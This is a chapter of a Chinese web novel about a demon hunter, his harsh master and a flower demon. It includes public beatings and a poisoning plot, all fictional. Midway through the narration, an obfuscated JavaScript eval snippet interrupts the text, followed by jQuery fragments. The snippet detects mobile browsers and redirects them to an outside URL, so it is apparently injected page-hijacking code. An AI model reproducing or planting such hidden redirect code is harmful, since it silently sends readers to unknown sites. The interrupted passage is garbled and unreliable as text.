70. 牡丹真国色(五)
作品:《花妖偷渡手记》 夏日炎炎,万里无云,天一道人坐于高台之上,召开誓师大会。
沈灵均执剑立在东首。对面,徐知县领着县衙一干人等,垂手而立。他脸上淤伤遍布,还未消肿,有些是慌乱中磕破的,有些是天一道长打的。
烈日晒得眼睛都睁不开,但道长威势之下,一句也不敢抱怨。
台下挤满了围观的人,却没有交头接耳的,神色都有些恹恹。
天一道长高声道,“贫道久不在南安县,记得从前镜湖之畔绿草繁花,天水相映,乃是踏青郊游之所,如今遭此浩劫,满目疮痍,情何以堪。”
众人皆心下怆然。此次绿牡丹作乱,损失极为惨重。湖边一带成了妖的战场,几乎夷为平地。
“论功行赏,论罪当罚。今日当着知县大人的面,贫道要斗胆论一论罪。”
徐知县嘟囔道,“道长请说。”
“首罪沈灵均,身为捉妖师,放任妖孽作乱,百姓死伤,万死难辞其咎。”
沈灵均跪倒,“弟子知罪。”
天一道长走下高台,拿过斩妖剑,猛地往前一送,刺入沈灵均肩头。
人群中一片惊呼。头戴白色幂篱的女子尖叫,“表哥!”
沈灵均伤处血流如注,强撑着没有倒下,“谢师父责罚。”
徐知县等人吓得大气都不敢出。
天一道人扔下带血的剑,走回高台。
“次罪许小宝、韩思年。不辨敌我,不明是非,砍伤朝廷官员。各打五十大板。”
徐知县唯唯诺诺,“道长说的是。”
两人早就被绑了双手,跪在空地上。手持长板的衙役上前,将两人按倒,扒下裤子,噼噼啪啪地打下去。
衙役们平时练习杖刑时,用一块豆腐摆在地上,拿小板子打上去,只准有响声,不准打破。等到打完,里头的豆腐全烂了,外面依旧是方方整整的一块。
许小宝和韩思年的屁股,正像两块豆腐。起初十下还能忍耐,打到二十下,许小宝再也受不了了,长声惨叫着讨饶。
许大娘从人群里冲出来,连连磕头,“求道长手下留情!知县大人,我儿子当时是中了妖法,绝非有心伤人啊!”
然而众人皆知天一道长铁石心肠,连自己唯一的弟子都是说砍就砍,哪敢为许小宝求情。
韩思年清醒之后,懊悔难当,恨自己轻易受了蛊惑,受点责罚也是应该,因此一声不吭,咬牙强忍。
打到三十下,两人双双晕了过去。
衙役们坚持打完五十大板,才把两个血肉模糊的人拖下去。
徐知县偷眼看着道长,心里直打鼓,生怕那两片黑嘴唇一张,宣布徐知县也有罪。
道长眉头紧锁,沉声道,“末罪,天一道人。力有不逮,让妖逃脱。”
他左手高高扬起,一掌击在自己胸口。
众人大惊,只见道长的身子晃了晃,嘴边流下一缕鲜血,脚下砖地现出几道裂痕,显然这一掌用力极重。
沈灵均道,“师父,何必如此……”
“闭嘴,你给我跪好了。”
天一道长面向众人,“南安县向来太平,自我走后,妖孽横行,祸乱人间,终至生灵涂炭。当务之急,一是抚恤死者,救治伤者,二是加强防备,以免恶妖去而复返。我们师徒俩会在东南西北四个方向设置警铃,有察觉异状,及时向县衙汇报者,重重有赏。徐知县意下如何?”
徐知县点头如捣蒜,“全听道长的。”
天一道长一甩拂尘,“天一在此立誓,用性命护佑南安县。哪怕与妖孽同归于尽,也要除尽天下妖邪!”
他说得铿锵有力,台上台下,尽皆叹服。百姓们吃了颗定心丸。有天一道长回来主持大局,南安县总算有救了。
誓师大会过后,天一道长和沈灵均一同踏上沈府的马车。沈灵均直到此时,才敢掏出伤药瓶子。还没打开,就被师父劈手夺过。
天一道长递过一枚药丸,“吃这个。”
药丸色泽通红,散发辛辣之气,沈灵均从未见过这样的伤药,略一犹豫,道长便喝道,“师父还能害你不成?”
沈灵均不敢多言,仰脖吞了药,只觉一股热意直冲而下,好像吞了一捧火。嘴一张,一股青烟冒了出来。
“咳咳,师父……”
眼前天一道长的脸时而清楚,时而模糊。
“逆徒。你吞下的是血咒。一个月内若不服解药,周身血管爆裂而亡。”
沈灵均大惊,“您为何……”
“你自己心里清楚。”
沈灵均连点穴道,想把药丸逼出来,干呕连连,却无济于事。所谓血咒,一旦融入血液,顷刻间就会流遍全身。
天一道长看着他徒劳地折腾,像在看一个小丑。
“别忙活了。若一个月后,南安县肃清了妖孽,为师自会救你。”
沈灵均大汗淋漓,“求师父明示!”
“杀了那只花妖。”
“她……她从未害过人。”
“执迷不悟!迷恋妖怪是什么下场,还用为师告诉你么?”
“她本领高强,弟子杀不了她。”
“你是要为师亲自动手?”
沈灵均咬紧牙关,“不!还是我……自己去。”
“好。你且休养几日,恢复了元气再动手。”
天一道长把伤药瓶子递还给他,“吃吧。”
沈灵均颤抖着接过。
“不是师父狠心。我们以肉体凡胎与妖相斗,如同在刀尖上行路,一步错,步步错。”
“弟子受教。”
马车停在沈府,车夫掀起帘子,王妙仪和沈伯早就候在大门口,焦急地向里张望。
天一道长跳下车,鼻孔朝天,旁若无人地走了进去。
王妙仪看见沈灵均毫无血色的脸,急得直哭,“表哥你这是怎么了,快,快去请医生!”
沈灵均调整一下呼吸,压落满腔鲜血,安慰道,“哭什么,我没事。”
“胡说!明明就有事!”王妙仪怨恨地望了望天一道长的背影,“都是他害的。世上哪有这样的师父!”
“噤声!”沈灵均扶着沈伯的手下了车,“师父待我恩重如山。”
“那你就要把命都赔进去吗?”
“放心,一时半会,还死不了。”
季月听到外面一阵嘈杂,打开大门,正好看见两名衙役抬着许小宝回来,许大娘跟在后面,两只眼睛又红又肿。
她好奇地凑过去,只见许小宝趴在一块木板之上,腰部以下盖着布条,血迹已经凝结,呈紫红色。
“这是怎么回事?”
许大娘高声嚷道,“都怪那个天杀的道长!”
一名衙役道,“大娘,小声些。道长神通广大,连我们徐大人都不敢得罪。”
“他再厉害,还能有千里眼,顺风耳不成?可怜我家小宝,被打得半死不活。要不是你们几个好心,我一个老婆子,都没法把他带回来……”
她心中伤痛,大放悲声,“孩子他爹,你怎么走得这样早,留下我们孤儿寡母,任人家欺负。小宝,我们娘俩的命怎么这么苦!”
两名衙役皱着眉头,合力把许小宝抬进屋,放到床上,便告辞离去。许大娘忙着烧水煎药,季月站在一旁看着。
许小宝伤处钻心地疼,瞥见季月也在,更是羞惭难当。自己的光屁股被几百人看过也就罢了,千万不能被月姐姐看到。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105503|179499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他哼哼唧唧道,“月姐姐,你回去吧。”
季月的眼光偏偏盯着他的伤处,“沈大人那里有伤药,我去帮你要几瓶来。”
许大娘道,“他还是留着自己用吧。你还不知道?你们家沈大人的师父回来啦!”
季月奇道,“他还有师父?”
“哼,从前我们南安县就是天一道长坐镇。三年前他把官职给了沈灵均,说要去云游。这次妖孽作乱,他老人家正好回来重整旗鼓,大摆威风呢!”
季月回想半天,天一道长这个名号确实有些耳熟,好像听人提过。
“这老道长当了一辈子的捉妖师,依我看啊,倒比妖还凶残!”
季月懊悔,“我本来想好要去誓师大会瞧瞧热闹,可惜早上睡过了头。那个道长长什么样子啊?”
“凶神恶煞。幸好你没去,去了还不得心疼死。”
“为何?”
“沈大人肩头被捅了一剑,伤得比我家小宝还重呢。”
季月大惊,“谁捅的他?!”
“就是他的好师父啊。天一道长先捅了自己徒弟一剑,又命人把小宝和韩公子打得半死,最后自己打了自己一掌,把地砖都打碎了。你说,这不是疯子吗?”
季月当下就想冲去沈府,被许大娘一把拦住,“你可别去触霉头,弄得不好也挨顿打。过来,给大娘搭把手。”
她指挥季月用热水浸湿帕子,自己脱掉小宝的外衣,给他擦身。伤处的皮肉都打烂了,一碰就疼得嗷嗷叫。
许大娘眼中又掉下泪来,“医馆的人都是势利眼。韩家有钱有势,就能请动薛神医上门诊治。看我们是孤儿寡母,穷苦人家,就胡乱抓副药打发了。小宝啊,你这回要是熬不过去,娘也不活了。”
许小宝心知自己整个屁股都被季月看光了,大为窘迫,又爬不起来,只得频频仰起脖子,状如鲤鱼打挺,“娘,你别说了,让季姑娘回去吧!”
“你怕什么?季姑娘心肠好得很,只会同情你,绝不会向着那道长的。”
季月点头。
“这事说到底也怪沈大人。当时花妖现世,所有人都神智不清了,他那么大的本事,怎么就不能躲着点?任由我们小宝捅一刀!”
“娘!别说了!”
“我偏要说。他们捉妖师神通广大,怎么没把妖抓起来啊?那天可有两只妖呢,一只都没抓到。不能向上表功,就拿百姓撒气。”
季月沉吟不语。绿牡丹掉进水里,未必就死。她道行高深,被三昧真火伤了元气,必是找个地方躲起来了。不知这个半路杀出来的道长能不能把她揪出来。
她哪里想得到,那天从沈灵均书房里出来的妖,就是天一道长。
“你说以后由天一道长主持大局,那沈灵均做什么?”
许大娘因为儿子遭难,把师徒俩一起恨上了,“他呀,给他师父当打手呗。”
许小宝小声道,“娘,沈大人一向待我们不薄。”
许大娘气得捶床,“不开窍的傻小子,这会儿还替别人说话呢!你们县衙里没一个好人,记住了吗?”
她喋喋不休地教训儿子,哭一阵,骂一阵。季月心里发沉,默默走回琳琅阁。
书房桌子上摊着一纸花笺,是她偶然从书堆里翻到的。纸上绘有一朵清雅的荷花,花心立着蜻蜓。
季月思索良久,又翻书查了半天,把要写的字找齐,这才举起羊毫,饱蘸浓墨,落笔写道:听闻另有人分担捉妖之责,君大可放手,改以养花为生,清闲度日,岂不快哉?
落款:季月。
写好以后,看了三遍,满意地对折,出门随手抓过一个孩子,给了他三文钱,让送去沈府,交沈大人亲收。

